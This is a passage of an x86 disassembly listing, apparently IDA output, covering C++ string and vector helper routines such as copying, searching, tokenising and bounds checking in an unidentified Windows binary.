retn sub_409AE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B10 proc near ; CODE XREF: sub_401988j arg_0 = dword ptr 4 mov al, byte_44915A push esi test al, al mov esi, ecx jz short loc_409B46 push edi nop call near ptr 2841939h mov edi, dword_5118CC push 0FFFFFFF5h call edi push 0FFFFFFF4h mov [esi], eax call edi mov [esi+4], eax mov eax, [esp+8+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], eax pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_409B46: ; CODE XREF: sub_409B10+Aj mov ecx, [esp+4+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], ecx pop esi retn 4 sub_409B10 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B80 proc near ; CODE XREF: sub_401CEEj mov al, byte_44915A push esi test al, al mov esi, ecx jz short loc_409B9F nop call near ptr 2850000h mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0FFFFFFFFh loc_409B9F: ; CODE XREF: sub_409B80+Aj mov byte ptr [esi+8], 0 pop esi retn sub_409B80 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409BC0 proc near ; CODE XREF: sub_40142Ej mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_43F010 mov [eax+9], ecx mov [eax+11h], ecx mov [eax+4], cl mov [eax+0Dh], ecx retn sub_409BC0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409BF0: ; CODE XREF: ___:00402081j ; ___:loc_40218Fj push esi mov esi, ecx call sub_401226 test byte ptr [esp+8], 1 jz short loc_409C08 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C08: ; CODE XREF: ___:00409BFDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C20 proc near ; CODE XREF: sub_401870j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43F010 mov [esi+9], ebx mov [esi+11h], ebx call sub_4015E1 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409C20 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C60 proc near ; CODE XREF: sub_4014D3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43F010 mov [esi+9], ebx mov [esi+11h], ebx call sub_401FDC mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409C60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409CA0 proc near ; CODE XREF: sub_402112j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push ebx push esi mov esi, ecx push eax lea ecx, [esp+1Ch+var_10] push offset dword_4447F4 push ecx mov dword ptr [esi], offset off_43F010 nop call sub_5FADE9 add esp, 0Ch lea edx, [esp+18h+var_10] xor ebx, ebx mov ecx, esi push edx mov [esi+9], ebx mov [esi+11h], ebx call sub_4015E1 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx add esp, 10h retn 4 sub_409CA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D10 proc near ; CODE XREF: sub_401226j push esi mov esi, ecx push edi xor edi, edi mov eax, [esi+9] mov dword ptr [esi], offset off_43F010 cmp eax, edi jz short loc_409D2C push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D2C: ; CODE XREF: sub_409D10+11j mov eax, [esi+0Dh] mov [esi+9], edi cmp eax, edi jz short loc_409D3F push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D3F: ; CODE XREF: sub_409D10+24j mov [esi+0Dh], edi mov [esi+11h], edi pop edi pop esi retn sub_409D10 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D60 proc near ; CODE XREF: sub_4015E1j arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx test edi, edi jz short loc_409DCA or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+9] not ecx dec ecx test eax, eax mov ebp, ecx jz short loc_409D8A push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D8A: ; CODE XREF: sub_409D60+1Fj lea ebx, [ebp+2] push ebx call sub_437AEA ; --------------------------------------------------------------------------- db 8Bh dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch dd 51500956h, 0C9E89052h, 837783DCh db 0C4h, 0Ch ; --------------------------------------------------------------------------- loc_409DCA: ; CODE XREF: sub_409D60+Cj pop edi pop esi pop ebp pop ebx retn 4 sub_409D60 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E00 proc near ; CODE XREF: sub_401FDCj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015E1 pop esi retn 4 sub_409E00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409E30: ; CODE XREF: ___:00401A5Aj mov eax, [esp+4] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+8] push offset dword_4447F4 push ecx nop call sub_5FADE9 add esp, 0Ch lea edx, [esp+4] mov ecx, esi push edx call sub_4015E1 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E80 proc near ; CODE XREF: sub_401AAFj arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebx, ecx test edi, edi jz loc_409F12 or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebx+11h] not ecx dec ecx mov esi, ecx add esi, edi lea eax, [esi+1] push eax call sub_437AEA ; --------------------------------------------------------------------------- mov edi, [ebx+9] add esp, 4 test edi, edi mov ebp, eax jz short loc_409F12 or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+11h], esi repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov edi, [esp+10h+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov edx, ecx mov edi, ebp or ecx, 0FFFFFFFFh repne scasb mov ecx, edx dec edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx+9] test eax, eax jz short loc_409F0F push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409F0F: ; CODE XREF: sub_409E80+84j mov [ebx+9], ebp loc_409F12: ; CODE XREF: sub_409E80+Cj ; sub_409E80+36j pop edi pop esi pop ebp pop ebx retn 4 sub_409E80 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F50 proc near ; CODE XREF: sub_4016C7j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_401AAF pop esi retn 4 sub_409F50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F80 proc near ; CODE XREF: sub_401140j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push offset dword_4447F4 push ecx nop call sub_5FADE9 add esp, 0Ch lea edx, [esp+14h+var_10] mov ecx, esi push edx call sub_401AAF pop esi add esp, 10h retn 4 sub_409F80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409FD0 proc near ; CODE XREF: sub_4012EEj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_409FE7 mov edx, [ecx+9] xor eax, eax test edx, edx setnz al pop esi retn 4 ; --------------------------------------------------------------------------- loc_409FE7: ; CODE XREF: sub_409FD0+7j mov eax, [ecx+9] push ebx loc_409FEB: ; CODE XREF: sub_409FD0+3Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_40A016 test cl, cl jz short loc_40A00F mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_40A016 add eax, 2 add esi, 2 test cl, cl jnz short loc_409FEB loc_40A00F: ; CODE XREF: sub_409FD0+27j pop ebx xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A016: ; CODE XREF: sub_409FD0+23j ; sub_409FD0+33j sbb eax, eax pop ebx sbb eax, 0FFFFFFFFh pop esi retn 4 sub_409FD0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A040 proc near ; CODE XREF: sub_401B86j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_40A040 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A070 proc near ; CODE XREF: sub_40150Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_40A083 mov edx, [ecx+9] test edx, edx setnz al retn 4 ; --------------------------------------------------------------------------- loc_40A083: ; CODE XREF: sub_40A070+6j push eax mov eax, [ecx+9] push eax nop call near ptr 77C4624Eh add esp, 8 retn 4 sub_40A070 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0B0 proc near ; CODE XREF: sub_4021D0j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_40A0B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0E0 proc near ; CODE XREF: sub_401CD0j push esi mov esi, ecx mov eax, [esi+9] test eax, eax jz short loc_40A0F3 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A0F3: ; CODE XREF: sub_40A0E0+8j mov dword ptr [esi+9], 0 pop esi retn sub_40A0E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A110 proc near ; CODE XREF: sub_40102Dj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_437B30 mov eax, [esp+arg_2004] test eax, eax jz short loc_40A152 lea ecx, [esp+arg_2008] lea edx, [esp+0] push ecx push eax push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_4015E1 loc_40A152: ; CODE XREF: sub_40A110+13j add esp, 2000h retn sub_40A110 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A180 proc near ; CODE XREF: sub_401D34j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401316 retn 4 sub_40A180 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1A0 proc near ; CODE XREF: sub_401316j arg_0 = byte ptr 4 push ebx mov ebx, dword_511AEC push esi push edi movsx edi, [esp+0Ch+arg_0] mov esi, ecx push edi mov eax, [esi+9] push eax call ebx ; strchr add esp, 8 test eax, eax jnz short loc_40A1C4 pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A1C4: ; CODE XREF: sub_40A1A0+1Cj mov ecx, [esi+9] push edi push ecx call ebx ; strchr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A1A0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1F0 proc near ; CODE XREF: sub_4018B1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401816 retn 4 sub_40A1F0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A210 proc near ; CODE XREF: sub_401816j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_401389 push eax mov ecx, esi call sub_402135 pop esi retn 8 sub_40A210 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A240 proc near ; CODE XREF: sub_4013EDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402135 retn 4 sub_40A240 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A260 proc near ; CODE XREF: sub_402135j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] test edi, edi mov esi, ecx jnz short loc_40A275 pop edi pop esi xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A275: ; CODE XREF: sub_40A260+Bj mov eax, [esi+9] mov ebx, dword_511B04 push edi push eax call ebx ; strstr add esp, 8 test eax, eax jnz short loc_40A28F pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A28F: ; CODE XREF: sub_40A260+27j mov ecx, [esi+9] push edi push ecx call ebx ; strstr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A260 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A2D0 proc near ; CODE XREF: sub_401C71j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx test edi, edi jnz short loc_40A2E3 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A2E3: ; CODE XREF: sub_40A2D0+Aj mov eax, [esi+9] mov [esi+11h], edi test eax, eax jz short loc_40A2F6 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A2F6: ; CODE XREF: sub_40A2D0+1Bj push ebx lea ebx, [edi+1] push ebx call sub_437AEA sub_40A2D0 endp ; --------------------------------------------------------------------------- mov ecx, ebx mov edi, eax mov edx, ecx xor eax, eax shr ecx, 2 mov [esi+9], edi add esp, 4 rep stosd mov ecx, edx pop ebx and ecx, 3 rep stosb mov eax, [esi+9] pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A350 proc near ; CODE XREF: sub_4013E3j mov eax, [ecx+11h] retn sub_40A350 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A370 proc near ; CODE XREF: sub_4012B2j var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A370 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebp mov ebp, [esp+30h+arg_8] push esi xor esi, esi cmp ebp, 1 mov [esp+34h+var_2C], ecx mov [esp+34h+var_28], esi jge short loc_40A3C2 mov esi, [esp+34h+arg_0] push offset byte_448F30 mov ecx, esi call sub_401870 mov eax, esi pop esi pop ebp mov ecx, [esp+2Ch+var_C] mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- loc_40A3C2: ; CODE XREF: sub_40A370+2Bj push ebx push edi lea ecx, [esp+3Ch+var_24] call sub_40142E mov [esp+3Ch+var_4], esi lea esi, [ebp+1] push esi call sub_437AEA sub_40A370 endp ; --------------------------------------------------------------------------- mov ecx, esi mov ebx, eax mov edx, ecx xor eax, eax mov edi, ebx add esp, 4 shr ecx, 2 rep stosd mov ecx, edx mov edx, [esp+44h] and ecx, 3 push ebx rep stosb mov eax, [esp+14h] mov ecx, ebp mov edi, ebx mov esi, [eax+9] add esi, edx mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+1Ch] call sub_4015E1 push ebx call sub_437AD2 ; --------------------------------------------------------------------------- mov esi, [esp+44h] add esp, 4 lea eax, [esp+18h] mov ecx, esi push eax call sub_4014D3 lea ecx, [esp+18h] call sub_401226 mov ecx, [esp+30h] pop edi mov eax, esi pop ebx pop esi pop ebp mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A4A0 proc near ; CODE XREF: sub_401E47j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi push edi mov esi, ecx mov [esp+0Ch+var_4], 0 call sub_4013E3 mov ecx, [esp+0Ch+arg_4] mov edi, [esp+0Ch+arg_0] sub eax, ecx push eax push ecx push edi mov ecx, esi call sub_4012B2 mov eax, edi pop edi pop esi pop ecx retn 8 sub_40A4A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A4E0: ; CODE XREF: ___:0040194Cj push ecx push esi mov esi, [esp+0Ch] push 1 mov ecx, esi mov dword ptr [esp+8], 0 call sub_402112 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A510 proc near ; CODE XREF: sub_4011EAj var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi mov edi, [esp+44h+arg_8] mov esi, ecx test edi, edi mov [esp+44h+var_38], 0 jnz short loc_40A551 mov esi, [esp+44h+arg_0] push offset byte_448F30 mov ecx, esi call sub_401870 jmp loc_40A684 ; --------------------------------------------------------------------------- loc_40A551: ; CODE XREF: sub_40A510+2Aj lea eax, [esp+44h+arg_8] lea ecx, [esp+44h+var_34] push eax call sub_40169A mov ecx, [esi+9] mov [esp+44h+var_4], 1 push ecx lea ecx, [esp+48h+var_24] call sub_401870 lea ecx, [esp+44h+var_24] mov byte ptr [esp+44h+var_4], 2 call sub_4014DD mov [esp+44h+var_3C], eax mov cl, [eax] test cl, cl jz loc_40A635 push ebx loc_40A591: ; CODE XREF: sub_40A510+11Ej mov dl, [edi] cmp cl, dl jnz short loc_40A5A0 loc_40A597: ; CODE XREF: sub_40A510+8Ej inc eax mov [esp+48h+var_3C], eax cmp [eax], dl jz short loc_40A597 loc_40A5A0: ; CODE XREF: sub_40A510+85j cmp byte ptr [eax], 22h setz bl test bl, bl jz short loc_40A5AF inc eax mov [esp+48h+var_3C], eax loc_40A5AF: ; CODE XREF: sub_40A510+98j lea edx, [esp+48h+var_3C] lea ecx, [esp+48h+var_34] push edx call sub_401997 mov eax, [esp+48h+var_3C] test bl, bl mov cl, [eax] jz short loc_40A5FF test cl, cl jz short loc_40A5E7 loc_40A5CB: ; CODE XREF: sub_40A510+D5j cmp cl, 22h jnz short loc_40A5DC mov cl, [eax+1] cmp cl, 20h jz short loc_40A5E7 test cl, cl jz short loc_40A5E7 loc_40A5DC: ; CODE XREF: sub_40A510+BEj inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A5CB loc_40A5E7: ; CODE XREF: sub_40A510+B9j ; sub_40A510+C6j ... cmp byte ptr [eax], 0 jz short loc_40A62A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] mov cl, [eax+1] test cl, cl jz short loc_40A62A add eax, 2 jmp short loc_40A626 ; --------------------------------------------------------------------------- loc_40A5FF: ; CODE XREF: sub_40A510+B5j test cl, cl jz short loc_40A614 mov dl, [edi] loc_40A605: ; CODE XREF: sub_40A510+102j cmp cl, dl jz short loc_40A614 inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A605 loc_40A614: ; CODE XREF: sub_40A510+F1j ; sub_40A510+F7j mov cl, [eax] test cl, cl jz short loc_40A62A cmp cl, [edi] jnz short loc_40A62A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] inc eax loc_40A626: ; CODE XREF: sub_40A510+EDj mov [esp+48h+var_3C], eax loc_40A62A: ; CODE XREF: sub_40A510+DAj ; sub_40A510+E8j ... mov cl, [eax] test cl, cl jnz loc_40A591 pop ebx loc_40A635: ; CODE XREF: sub_40A510+7Aj lea ecx, [esp+44h+var_34] call sub_4011F9 mov ecx, [esp+44h+arg_4] cmp ecx, eax jb short loc_40A64D push offset byte_448F30 jmp short loc_40A65A ; --------------------------------------------------------------------------- loc_40A64D: ; CODE XREF: sub_40A510+134j push ecx lea ecx, [esp+48h+var_34] call sub_401F82 mov eax, [eax] push eax loc_40A65A: ; CODE XREF: sub_40A510+13Bj mov esi, [esp+48h+arg_0] mov ecx, esi call sub_401870 lea ecx, [esp+44h+var_24] mov [esp+44h+var_38], 1 call sub_401226 lea ecx, [esp+44h+var_34] mov byte ptr [esp+44h+var_4], 0 call sub_401596 ; --------------------------------------------------------------------------- loc_40A684: ; CODE XREF: sub_40A510+3Cj mov ecx, [esp+44h+var_C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_40A510 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A710 proc near ; CODE XREF: sub_4016B8j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov eax, [esp+4+arg_8] mov edx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push 0 push eax push edx push esi mov [esp+18h+var_4], 0 call sub_4011EA mov eax, esi pop esi pop ecx retn 0Ch sub_40A710 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A750 proc near ; CODE XREF: sub_40202Cj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015E1 pop esi retn 4 sub_40A750 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A780 proc near ; CODE XREF: sub_401A9Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015E1 retn 4 sub_40A780 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7A0 proc near ; CODE XREF: sub_401479j arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_40A7A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A7C0: ; CODE XREF: ___:004014A6j mov eax, [ecx+9] mov ecx, [esp+4] add eax, ecx retn 4 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7E0 proc near ; CODE XREF: sub_401389j mov eax, [ecx+9] retn sub_40A7E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A800 proc near ; CODE XREF: sub_4017EEj mov eax, [ecx+9] retn sub_40A800 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A820 proc near ; CODE XREF: sub_4014DDj mov eax, [ecx+9] retn sub_40A820 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A840 proc near ; CODE XREF: sub_40169Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_40A840 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A870 proc near ; CODE XREF: sub_401596j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019B5 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF sub_40A870 endp ; --------------------------------------------------------------------------- xor eax, eax loc_40A898: ; DATA XREF: ___:0044653Co ; ___:00446580o ... mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8C0 proc near ; CODE XREF: sub_4011F9j mov edx, [ecx+4] test edx, edx jnz short loc_40A8CA xor eax, eax retn ; --------------------------------------------------------------------------- loc_40A8CA: ; CODE XREF: sub_40A8C0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_40A8C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8F0 proc near ; CODE XREF: sub_401F82j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_4011F9 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_40A908 mov ecx, esi call sub_401F05 loc_40A908: ; CODE XREF: sub_40A8F0+Fj mov ecx, esi call sub_401D2F lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_40A8F0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A930 proc near ; CODE XREF: sub_401997j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401659 push eax mov ecx, esi call sub_4016F9 pop esi retn 4 sub_40A930 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A960 proc near ; CODE XREF: sub_401D2Fj mov eax, [ecx+4] retn sub_40A960 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A980 proc near ; CODE XREF: sub_401659j mov eax, [ecx+8] retn sub_40A980 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9A0 proc near ; CODE XREF: sub_4016F9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401D2F mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_4013D9 mov ecx, edi call sub_401D2F lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_40A9A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9F0 proc near ; CODE XREF: sub_4019B5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_40AA10 loc_40AA01: ; CODE XREF: sub_40A9F0+1Ej push esi mov ecx, edi call sub_4018C0 add esi, 4 cmp esi, ebx jnz short loc_40AA01 loc_40AA10: ; CODE XREF: sub_40A9F0+Fj pop edi pop esi pop ebx retn 8 sub_40A9F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AA30: ; CODE XREF: sub_401F05j push 0FFFFFFFFh push offset loc_439DB9 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" call near ptr 76081F67h nop lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] nop call near ptr 760A0430h lea edx, [esp+14h] push offset dword_440088 push edx call sub_437B22 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; 